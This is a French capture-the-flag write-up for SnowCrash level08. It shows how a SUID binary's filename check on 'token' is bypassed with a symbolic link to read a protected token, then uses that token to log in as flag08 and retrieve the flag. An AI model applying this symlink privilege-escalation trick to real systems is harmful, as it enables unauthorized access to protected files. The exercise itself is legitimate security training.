LEVEL08

```
level08@SnowCrash:~$ ls -la
total 28
dr-xr-x---+ 1 level08 level08  140 Mar  5  2016 .
d--x--x--x  1 root    users    340 Aug 30  2015 ..
-r-x------  1 level08 level08  220 Apr  3  2012 .bash_logout
-r-x------  1 level08 level08 3518 Aug 30  2015 .bashrc
-rwsr-s---+ 1 flag08  level08 8617 Mar  5  2016 level08
-r-x------  1 level08 level08  675 Apr  3  2012 .profile
-rw-------  1 flag08  flag08    26 Mar  5  2016 token
level08@SnowCrash:~$
```

Dans cet exercice, on peut voir qu'on un binaire SUID et un fichier token, l'utilisateur n'a pas acces au fichier token il faut donc trouver un moyen de lire son contenu.

En premier lieu, on va voir ce que le binaire nous permet de faire. Pour cela on va utiliser la commande strings qui nous permet de voir les commandes utiliser dans ce binaire.

```
printf
strstr
read
open
__libc_start_main
write
GLIBC_2.4
GLIBC_2.0
PTRh
QVhT
UWVS
[^_]
%s [file to read]
token
You may not access '%s'
Unable to open %s
Unable to read fd %d
```

On peut voir que le binaire va ouvrir et lire un fichier. Mais aussi qu'il utilise strstr(); qui permet de comparer une string avec une autre. On présume ici la chaîne token qui apparaît plus bas avec le fichier entrant.

On peut penser que le binaire lis un fichier si le nom du fichier est token alors il bloque sinon il print son contenu.
Pour pouvoir contourner ce soucis on peut pas copier le fichier ni lire son contenu car on a pas les droits. Pour faire ca il faut alors faire un lien symbolique du fichier.
Un lien symbolique est un type spécial de fichier qui contient un chemin (comme une adresse texte) vers un autre fichier ou répertoire.
C'est l'équivalent d'un raccourci : quand on l'ouvre, le système va chercher le vrai fichier à l'endroit indiqué.

On peut donc utiliser ca pour tromper le binaire est ainsi voir le contenu du fichier token.

```
level08@SnowCrash:~$ ln -s ~/token /tmp/fake
level08@SnowCrash:~$ ./level08 /tmp/fake
quif5eloekouj29ke0vouxean
```

On creer le lien symbolique avec "ln -s ~/source /destination".
Ensuite on execute le binaire et on

Le token est quif5eloekouj29ke0vouxean
On se connecte au flag08 et on a avec le getflag

```
level08@SnowCrash:~$ su flag08
Password:
Don't forget to launch getflag !
flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
```

flag = 25749xKZ8L7DkSCwJkT9dyv6f